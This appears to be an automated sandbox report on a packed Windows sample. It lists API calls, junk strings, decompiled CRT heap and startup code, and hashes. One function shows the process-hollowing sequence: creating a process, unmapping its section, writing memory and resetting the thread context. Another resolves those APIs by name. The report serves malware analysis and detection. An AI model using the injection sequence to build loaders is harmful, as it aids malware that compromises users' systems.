FlushConsoleInputBuffer.KERNEL32(00000000), ref: 0041A1C8
GetConsoleAliasA.KERNEL32(00000000,?,00000000,00000000), ref: 0041A1D9
SetConsoleCP.KERNEL32(00000000), ref: 0041A1E0
VerSetConditionMask.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A1EA
LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041A1F5
SetSystemTime.KERNEL32(00000000), ref: 0041A1FC
SetThreadExecutionState.KERNEL32(00000000), ref: 0041A203
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 0041A213
lstrcpyA.KERNEL32(?,Hetitanutaf bebucoreko,00000000,?,00000000), ref: 0041A225
SetFileShortNameW.KERNEL32(00000000,00000000), ref: 0041A22D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A262
CreateSemaphoreA.KERNEL32 ref: 0041A291
GetLocalTime.KERNEL32(00000000), ref: 0041A298
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 0041A2A1
FindResourceExW.KERNEL32(00000000,helecebekuxesiwiwifomipuwudokatupibej,pahubahiwucijucemipapujivojadij,00000000), ref: 0041A2B3
GetPrivateProfileSectionNamesW.KERNEL32 ref: 0041A2C3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A2CD
WaitNamedPipeA.KERNEL32 ref: 0041A2D1
TransmitCommChar.KERNEL32(00000000,00000000), ref: 0041A2D9
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A2E3
GetBinaryTypeW.KERNEL32(Dovi muyafohonifu zapojubocuwuh vuleh,?), ref: 0041A2F3
PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 0041A305
BuildCommDCBW.KERNEL32 ref: 0041A315
UnregisterWaitEx.KERNEL32(00000000,00000000), ref: 0041A31D
GlobalLock.KERNEL32 ref: 0041A324
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041A32E
GetProcAddress.KERNEL32(00000000,00000000), ref: 0041A332
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 0041A33B
GetThreadContext.KERNEL32(00000000,?), ref: 0041A34A
ResetEvent.KERNEL32(?), ref: 0041A358
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Cat tafugozeyab jumulizodunef sazu buxonisiz,?), ref: 0041A36E
_memset.LIBCMT ref: 0041A380
SetDefaultCommConfigW.KERNEL32(00000000,?,00000000), ref: 0041A38F
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041A397
HeapUnlock.KERNEL32(00000000), ref: 0041A39E
GetConsoleMode.KERNEL32(00000000,00000000), ref: 0041A3A6
GetVolumePathNameA.KERNEL32 ref: 0041A3B6
MoveFileW.KERNEL32(00000000,00000000), ref: 0041A3BE
Process32NextW.KERNEL32(00000000,00000000), ref: 0041A3C6
GetFileAttributesExA.KERNEL32(gukafipa,00000000,?), ref: 0041A3D9
GetDriveTypeA.KERNEL32(00000000), ref: 0041A3E0
TryEnterCriticalSection.KERNEL32(?), ref: 0041A3EE
GetPrivateProfileStructW.KERNEL32 ref: 0041A40C
WritePrivateProfileSectionA.KERNEL32(00000000,00000000,00000000), ref: 0041A415
GetPrivateProfileSectionW.KERNEL32 ref: 0041A41F
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 0041A424
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041A485
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0041A48D
FindVolumeMountPointClose.KERNEL32(00000000), ref: 0041A494
DefineDosDeviceW.KERNEL32(00000000,00000000,00000000), ref: 0041A49D
InterlockedExchange.KERNEL32(?,00000000), ref: 0041A4A9
SetMailslotInfo.KERNEL32 ref: 0041A4B1
GetTapeParameters.KERNEL32 ref: 0041A4C6
CreateActCtxW.KERNEL32(?), ref: 0041A4D1
FindCloseChangeNotification.KERNEL32(00000000), ref: 0041A4D8
GlobalFindAtomA.KERNEL32 ref: 0041A4E3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041A4EB
GetSystemWindowsDirectoryW.KERNEL32 ref: 0041A4FA
GetVersion.KERNEL32 ref: 0041A500
SetConsoleMode.KERNEL32(?,00000000), ref: 0041A50C
ReadFileScatter.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041A529
lstrcmpA.KERNEL32(Vaguxabufereg godid vefas nehesuh,Pusazide), ref: 0041A539
GetPrivateProfileSectionW.KERNEL32 ref: 0041A552
DebugBreak.KERNEL32 ref: 0041A554
DeleteVolumeMountPointA.KERNEL32 ref: 0041A55F

Strings

Cat tafugozeyab jumulizodunef sazu buxonisiz, xrefs: 0041A366
rixawibonagomukirak, xrefs: 0041A3F4
cbH, xrefs: 0041A234
tivomifuzasesufaholivikasekalene, xrefs: 0041A289
Felerah cuhozazikesuzil, xrefs: 00419FDC
hijaduvinijebup, xrefs: 00419F6F
bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi, xrefs: 0041A54D
Losufic vahafoj sovoculoziyaja dewofic, xrefs: 0041A012
Xemov yoxociy pogi, xrefs: 0041A122
tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv, xrefs: 00419FC7
Vaguxabufereg godid vefas nehesuh, xrefs: 0041A534
tifikekacejininomizewidixazodafetisutaxewuy, xrefs: 0041A116
Hetitanutaf bebucoreko, xrefs: 0041A218
Dovi muyafohonifu zapojubocuwuh vuleh, xrefs: 0041A2EE
mesehoripirowarericaju, xrefs: 0041A076
suxehecumugilodagaduvixevexirificiseracipefi, xrefs: 0041A53F
wapejan, xrefs: 00419FC2
mawecamaxe, xrefs: 0041A402
mocisacatenu, xrefs: 00419FBD
pahubahiwucijucemipapujivojadij, xrefs: 0041A2A8
hukujid, xrefs: 0041A55A
Pusazide, xrefs: 0041A52F
X<, xrefs: 0041A268
Piruvora, xrefs: 0041A3B1
Vozecitak mov, xrefs: 00419FAB
helecebekuxesiwiwifomipuwudokatupibej, xrefs: 0041A2AD
werahixiwexetujocaxojikutevolekeginizegimowif, xrefs: 0041A310
gukafipa, xrefs: 0041A3D4
Hiwejanoji, xrefs: 0041A4DE
diponusohivasohopo, xrefs: 0041A407
wovag, xrefs: 00419FFC
0.0, xrefs: 00419F33
lakusoruhajunajiziheruxazoluyoloxujumazomeke, xrefs: 00419F7A

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Console$File$FindSection$ProfileTimeWrite$CommNamePrivate$AtomCreateFreeProcessVolume$AliasCloseGlobalHandleInputLengthLocalLockModeMountMoveNamedNextPipePointStateSystemTypeWait$BinaryCriticalDeleteDeviceDirectoryEnumEnvironmentErrorExesFormatsHeapLastMaskOverlappedPathProcess32ResourceResultSemaphoreStringStringsThreadUnregisterVersion__invalid_parameterlstrcmp$AddressAdjustmentAliasesApisAssignAttributesBreakBufferBuildCancelChangeCharCharacterCompletionCompressedConditionConfigContextCountCurrentDateDebugDefaultDefineDriveEnterEventExchangeExecutionFlushFullInfoInitializeInterlockedLanguageMailslotModuleMutexNamesNotificationObjectOpenOutputParametersPeekPortProcQueryReadResetScatterShortSizeStructTapeTerminateTimerTransactTransmitUnlockUpdateWaitableWatchWindows__atof_l__dosmaperr__realloc_dbg__vsprintf_l__vswprintf__wcstoi64__wrename_atexit_ferror_lopen_malloc_memset_putc_realloclstrcpylstrcpyn
String ID: 0.0$Cat tafugozeyab jumulizodunef sazu buxonisiz$Dovi muyafohonifu zapojubocuwuh vuleh$Felerah cuhozazikesuzil$Hetitanutaf bebucoreko$Hiwejanoji$Losufic vahafoj sovoculoziyaja dewofic$Piruvora$Pusazide$Vaguxabufereg godid vefas nehesuh$Vozecitak mov$X<$Xemov yoxociy pogi$bixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi$cbH$diponusohivasohopo$gukafipa$helecebekuxesiwiwifomipuwudokatupibej$hijaduvinijebup$hukujid$lakusoruhajunajiziheruxazoluyoloxujumazomeke$mawecamaxe$mesehoripirowarericaju$mocisacatenu$pahubahiwucijucemipapujivojadij$rixawibonagomukirak$suxehecumugilodagaduvixevexirificiseracipefi$tifikekacejininomizewidixazodafetisutaxewuy$tivomifuzasesufaholivikasekalene$tuzokumalazayifadutatoloyiducerujobizezijunotomahidakiv$wapejan$werahixiwexetujocaxojikutevolekeginizegimowif$wovag
API String ID: 3758220384-1511035591
Opcode ID: 306d9a30ddecfb4a73ce89804428954bcfd130d46ad88a711f79878325832eab
Instruction ID: 1798e175e0fd321b1b33fc2241286516e7539d2d472446e730502e22aa6dc15b
Opcode Fuzzy Hash: 306d9a30ddecfb4a73ce89804428954bcfd130d46ad88a711f79878325832eab
Instruction Fuzzy Hash: E6F1FC76402565BBC325ABA1AE4CDDF3E6CEF4E395B00042AF24AE5030C7385645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 00560110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00560156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0056016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00560255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00560270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00560283
GetThreadContext.KERNELBASE(00000000,?), ref: 0056029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00560304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0056032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00560399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005603E1
ResumeThread.KERNELBASE(00000000), ref: 005603ED
ExitProcess.KERNEL32(00000000), ref: 00560412

Memory Dump Source

Source File: 00000000.00000002.664684396.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_sbxGIUIhRd.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 04f3ca7647b99b7d47bc5e7f00c1835b74fe3d0369103041ea28fcab758180f8
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: CDB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00560630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005606E2

Strings

WinExec, xrefs: 00560820, 00560823
VirtualAlloc, xrefs: 00560AC1, 00560AC7
ntdll.dll, xrefs: 00560FE2, 00560FE8
GetThreadContext, xrefs: 00560A4C, 00560A52
PostMessageA, xrefs: 005612B0, 005612B6
VirtualFree, xrefs: 00560BB2, 00560BB8
GetCommandLineA, xrefs: 00560F82, 00560F88
kernel32, xrefs: 005607ED, 005607F3
GetMessageExtraInfo, xrefs: 00560794, 0056079A
GetModuleFileNameA, xrefs: 00560EFB, 00560EFE
CreateProcessA, xrefs: 005609BB, 005609C1
MessageBoxA, xrefs: 005606EE, 005606F4
user32, xrefs: 005606DB, 005606E1
VirtualAllocEx, xrefs: 00560B44, 00560B4A
ReadProcessMemory, xrefs: 00560C4A, 00560C50
WaitForSingleObject, xrefs: 00560E95, 00560E9B
GetMessageA, xrefs: 005612F7, 005612FA
WriteProcessMemory, xrefs: 00560CE9, 00560CEF
RegisterClassExA, xrefs: 005611B7, 005611BD
DefWindowProcA, xrefs: 00561374, 0056137A
CloseHandle, xrefs: 00560938, 0056093E
VirtualProtectEx, xrefs: 005614E9, 005614EF
CreateFileA, xrefs: 0056088B, 00560891
GetFileAttributesA, xrefs: 005613D7, 005613DA
GetStartupInfoA, xrefs: 0056145B, 00561461
ExitProcess, xrefs: 00561554, 0056155A
ResumeThread, xrefs: 00560DEF, 00560DF5
WriteFile, xrefs: 005608CD, 005608D0
NtWriteVirtualMemory, xrefs: 0056112C, 00561132
NtUnmapViewOfSection, xrefs: 00561085, 0056108B
SetThreadContext, xrefs: 00560D7A, 00560D80
CreateWindowExA, xrefs: 0056123E, 00561244

Memory Dump Source

Source File: 00000000.00000002.664684396.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_sbxGIUIhRd.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 3ea22fd08d951e18ca29eb1340bb9bd3b03b5d05307d861957565481fc4c883b
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: C0A25460D0C6E9C9EB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA17, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0041BA17() {
				signed int _t79;
				signed int _t80;
				intOrPtr _t81;
				signed int _t97;
				void* _t102;
				void* _t103;
				signed int _t105;
				void* _t109;
				void* _t110;
				intOrPtr _t112;
				void* _t115;
				void* _t116;
				signed int _t122;
				signed int _t123;
				intOrPtr _t126;
				signed int _t127;
				signed int _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				signed int _t169;
				signed int _t170;
				void* _t171;
				void* _t173;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t188;
				void* _t192;

				_t178 = _t177 + 4;
				 *(_t175 - 4) = 0;
				if( *0x54ac34 > 0) {
					_t112 =  *0x54ac34; // 0x0
					_t188 =  *0x54ac1c - _t112 - 1; // 0x0
					if(_t188 != 0) {
						_t169 =  *0x54ac1c; // 0x0
						_t170 = _t169 + 1;
						__eflags = _t170;
						 *0x54ac1c = _t170;
					} else {
						if(E0041CCF0() == 0) {
							_push(L"_CrtCheckMemory()");
							_push(0);
							_push(0x179);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
							_push(2);
							_t115 = L0041E390();
							_t178 = _t178 + 0x14;
							if(_t115 == 1) {
								asm("int3");
							}
						}
						 *0x54ac1c = 0;
					}
				}
				_t79 =  *0x44020c; // 0x34
				 *(_t175 - 0x28) = _t79;
				if( *0x440210 != 0xffffffff) {
					_t192 =  *(_t175 - 0x28) -  *0x440210; // 0xffffffff
					if(_t192 == 0) {
						asm("int3");
					}
				}
				if( *0x44105c == 0) {
					L19:
					__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
					if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
						_t105 =  *0x440204; // 0x1
						__eflags = _t105 & 0x00000001;
						if((_t105 & 0x00000001) == 0) {
							 *(_t175 - 0x1c) = 1;
						}
					}
					__eflags =  *((intOrPtr*)(_t175 + 8)) - 0xffffffbc;
					if( *((intOrPtr*)(_t175 + 8)) <= 0xffffffbc) {
						__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 4;
						if(( *(_t175 + 0xc) & 0x0000ffff) != 4) {
							__eflags =  *(_t175 + 0xc) - 1;
							if( *(_t175 + 0xc) != 1) {
								__eflags = ( *(_t175 + 0xc) & 0x0000ffff) - 2;
								if(( *(_t175 + 0xc) & 0x0000ffff) != 2) {
									__eflags =  *(_t175 + 0xc) - 3;
									if( *(_t175 + 0xc) != 3) {
										_t102 = L00429590(1, 0, 0, 0, "%s", "Error: memory allocation: bad memory block type.\n");
										_t178 = _t178 + 0x18;
										__eflags = _t102 - 1;
										if(_t102 == 1) {
											asm("int3");
										}
									}
								}
							}
						}
						 *((intOrPtr*)(_t175 - 0x2c)) =  *((intOrPtr*)(_t175 + 8)) + 0x24;
						_t80 = E004294D0(_t116, _t171, _t173,  *((intOrPtr*)(_t175 - 0x2c))); // executed
						 *(_t175 - 0x24) = _t80;
						__eflags =  *(_t175 - 0x24);
						if( *(_t175 - 0x24) != 0) {
							_t122 =  *0x44020c; // 0x34
							_t123 = _t122 + 1;
							 *0x44020c = _t123;
							__eflags =  *(_t175 - 0x1c);
							if( *(_t175 - 0x1c) == 0) {
								__eflags = (_t123 | 0xffffffff) -  *0x54ac14 -  *((intOrPtr*)(_t175 + 8));
								if((_t123 | 0xffffffff) -  *0x54ac14 <=  *((intOrPtr*)(_t175 + 8))) {
									 *0x54ac14 = 0xffffffff;
								} else {
									_t159 =  *0x54ac14; // 0x3852
									 *0x54ac14 = _t159 +  *((intOrPtr*)(_t175 + 8));
								}
								_t81 =  *0x54ac2c; // 0x1fca
								 *0x54ac2c = _t81 +  *((intOrPtr*)(_t175 + 8));
								_t126 =  *0x54ac2c; // 0x1fca
								__eflags = _t126 -  *0x54ac20; // 0x238a
								if(__eflags > 0) {
									_t158 =  *0x54ac2c; // 0x1fca
									 *0x54ac20 = _t158;
								}
								__eflags =  *0x54ac24;
								if( *0x54ac24 == 0) {
									 *0x54ac18 =  *(_t175 - 0x24);
								} else {
									_t97 =  *0x54ac24; // 0x8b1318
									 *(_t97 + 4) =  *(_t175 - 0x24);
								}
								_t127 =  *0x54ac24; // 0x8b1318
								 *( *(_t175 - 0x24)) = _t127;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) =  *(_t175 + 0x10);
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) =  *((intOrPtr*)(_t175 + 0x14));
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) =  *(_t175 + 0xc);
								 *( *(_t175 - 0x24) + 0x18) =  *(_t175 - 0x28);
								 *0x54ac24 =  *(_t175 - 0x24);
							} else {
								 *( *(_t175 - 0x24)) = 0;
								 *( *(_t175 - 0x24) + 4) = 0;
								 *( *(_t175 - 0x24) + 8) = 0;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0xc)) = 0xfedcbabc;
								 *((intOrPtr*)( *(_t175 - 0x24) + 0x10)) =  *((intOrPtr*)(_t175 + 8));
								 *( *(_t175 - 0x24) + 0x14) = 3;
								 *( *(_t175 - 0x24) + 0x18) = 0;
							}
							E0041B520(_t171,  *(_t175 - 0x24) + 0x1c,  *0x440214 & 0x000000ff, 4);
							E0041B520(_t171,  *(_t175 - 0x24) +  *((intOrPtr*)(_t175 + 8)) + 0x20,  *0x440214 & 0x000000ff, 4);
							E0041B520(_t171,  *(_t175 - 0x24) + 0x20,  *0x440217 & 0x000000ff,  *((intOrPtr*)(_t175 + 8)));
							_t157 =  *(_t175 - 0x24) + 0x20;
							__eflags = _t157;
							 *(_t175 - 0x20) = _t157;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
						}
					} else {
						_t103 = L00429590(1, 0, 0, 0, "Invalid allocation size: %Iu bytes.\n",  *((intOrPtr*)(_t175 + 8)));
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t175 + 0x18)))) = 0xc;
					}
					L46:
					 *(_t175 - 4) = 0xfffffffe;
					E0041BD60();
					 *[fs:0x0] =  *((intOrPtr*)(_t175 - 0x10));
					return  *(_t175 - 0x20);
				}
				_t109 =  *0x44105c(1, 0,  *((intOrPtr*)(_t175 + 8)),  *(_t175 + 0xc),  *(_t175 - 0x28),  *(_t175 + 0x10),  *((intOrPtr*)(_t175 + 0x14)));
				_t178 = _t178 + 0x1c;
				if(_t109 != 0) {
					goto L19;
				}
				if( *(_t175 + 0x10) == 0) {
					_t110 = L00429590(0, 0, 0, 0, "%s", "Client hook allocation failure.\n");
					__eflags = _t110 - 1;
					if(_t110 == 1) {
						asm("int3");
					}
					L18:
					goto L46;
				}
				_push( *((intOrPtr*)(_t175 + 0x14)));
				if(L00429590(0, 0, 0, 0, "Client hook allocation failure at file %hs line %d.\n",  *(_t175 + 0x10)) == 1) {
					asm("int3");
				}
				goto L18;
			}

0x0041ba17
0x0041ba1a
0x0041ba28
0x0041ba2a
0x0041ba32
0x0041ba38
0x0041ba70
0x0041ba76
0x0041ba76
0x0041ba79
0x0041ba3a
0x0041ba41
0x0041ba43
0x0041ba48
0x0041ba4a
0x0041ba4f
0x0041ba54
0x0041ba56
0x0041ba5b
0x0041ba61
0x0041ba63
0x0041ba63
0x0041ba61
0x0041ba64
0x0041ba64
0x0041ba38
0x0041ba7f
0x0041ba84
0x0041ba8e
0x0041ba93
0x0041ba99
0x0041ba9b
0x0041ba9b
0x0041ba99
0x0041baa3
0x0041bb1a
0x0041bb23
0x0041bb26
0x0041bb28
0x0041bb2d
0x0041bb30
0x0041bb32
0x0041bb32
0x0041bb30
0x0041bb39
0x0041bb3d
0x0041bb75
0x0041bb78
0x0041bb7a
0x0041bb7e
0x0041bb89
0x0041bb8c
0x0041bb8e
0x0041bb92
0x0041bba6
0x0041bbab
0x0041bbae
0x0041bbb1
0x0041bbb3
0x0041bbb3
0x0041bbb1
0x0041bb92
0x0041bb8c
0x0041bb7e
0x0041bbba
0x0041bbc1
0x0041bbc9
0x0041bbcc
0x0041bbd0
0x0041bbe0
0x0041bbe6
0x0041bbe9
0x0041bbef
0x0041bbf3
0x0041bc47
0x0041bc4a
0x0041bc5d
0x0041bc4c
0x0041bc4c
0x0041bc55
0x0041bc55
0x0041bc67
0x0041bc6f
0x0041bc74
0x0041bc7a
0x0041bc80
0x0041bc82
0x0041bc88
0x0041bc88
0x0041bc8e
0x0041bc95
0x0041bca7
0x0041bc97
0x0041bc97
0x0041bc9f
0x0041bc9f
0x0041bcb0
0x0041bcb6
0x0041bcbb
0x0041bcc8
0x0041bcd1
0x0041bcda
0x0041bce3
0x0041bcec
0x0041bcf2
0x0041bbf5
0x0041bbf8
0x0041bc01
0x0041bc0b
0x0041bc15
0x0041bc22
0x0041bc28
0x0041bc32
0x0041bc32
0x0041bd09
0x0041bd26
0x0041bd41
0x0041bd4c
0x0041bd4c
0x0041bd4f
0x0041bbd2
0x0041bbd5
0x0041bbd5
0x0041bb3f
0x0041bb50
0x0041bb58
0x0041bb5b
0x0041bb5d
0x0041bb5d
0x0041bb61
0x0041bb61
0x0041bd52
0x0041bd52
0x0041bd59
0x0041bd71
0x0041bd7f
0x0041bd7f
0x0041babd
0x0041bac3
0x0041bac8
0x00000000
0x00000000
0x0041bace
0x0041bb07
0x0041bb0f
0x0041bb12
0x0041bb14
0x0041bb14
0x0041bb15
0x00000000
0x0041bb15
0x0041bad3
0x0041baf0
0x0041baf2
0x0041baf2
0x00000000

APIs

__CrtCheckMemory.LIBCMTD ref: 0041BA3A
__heap_alloc_base.LIBCMTD ref: 0041BBC1
_memset.LIBCMT ref: 0041BD09
_memset.LIBCMT ref: 0041BD26
_memset.LIBCMT ref: 0041BD41

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BA4F
_CrtCheckMemory(), xrefs: 0041BA43
Error: memory allocation: bad memory block type., xrefs: 0041BB94
Client hook allocation failure., xrefs: 0041BAF5
Client hook allocation failure at file %hs line %d., xrefs: 0041BAD8
Invalid allocation size: %Iu bytes., xrefs: 0041BB43

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: e7a1c78dc7a33ff04d8508d86996fcf121b7d4dde698109e0e2d843b3ee92ff8
Instruction ID: f7ef066d18e23e8cc336edb60588a30c1e8c439f44fbe8c95e41d6a9f5cfd9c3
Opcode Fuzzy Hash: e7a1c78dc7a33ff04d8508d86996fcf121b7d4dde698109e0e2d843b3ee92ff8
Instruction Fuzzy Hash: B8A18B78A40208DBDB18CF54DA85BEA77F1FB49304F20815AE9146B3D1D779AD80CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6B5, Relevance: 15.1, APIs: 10, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E0041B6B5() {
				void* _t21;
				void* _t22;
				void* _t25;
				void* _t29;
				intOrPtr _t30;
				intOrPtr _t34;
				void* _t44;
				void* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t74;

				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				 *((intOrPtr*)(_t58 - 0x6c)) = E0041B850();
				_t21 = E00428FE0(_t46, 1); // executed
				_t61 = _t60 + 4;
				if(_t21 == 0) {
					E0041B820(0x1c);
					_t61 = _t61 + 4; // executed
				}
				_t22 = L004247D0(_t46); // executed
				if(_t22 == 0) {
					E0041B820(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041DB20(_t46);
				_t62 = _t61 + 4;
				E00428F60();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00426B90(); // executed
				if(_t25 < 0) {
					L004260D0(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x54c984 = E00428F50();
				 *0x54ac0c = E00428EA0(_t44, _t54, _t56);
				if(E00428AB0() < 0) {
					L004260D0(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E00428910(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L004260D0(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E00425FB0(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L004260D0(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00428870();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E00419EFB( *((intOrPtr*)(_t58 - 0x68)), _t74, 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00426050( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00426090();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041b6b5
0x0041b6c1
0x0041b6c6
0x0041b6cb
0x0041b6d0
0x0041b6d4
0x0041b6d9
0x0041b6d9
0x0041b6dc
0x0041b6e3
0x0041b6e7
0x0041b6ec
0x0041b6ec
0x0041b6ef
0x0041b6f1
0x0041b6f6
0x0041b6f9
0x0041b6fe
0x0041b705
0x0041b70c
0x0041b710
0x0041b715
0x0041b715
0x0041b71d
0x0041b727
0x0041b733
0x0041b737
0x0041b73c
0x0041b73c
0x0041b73f
0x0041b746
0x0041b74a
0x0041b74f
0x0041b74f
0x0041b754
0x0041b75c
0x0041b763
0x0041b769
0x0041b76e
0x0041b776
0x0041b77f
0x0041b78a
0x0041b781
0x0041b785
0x0041b785
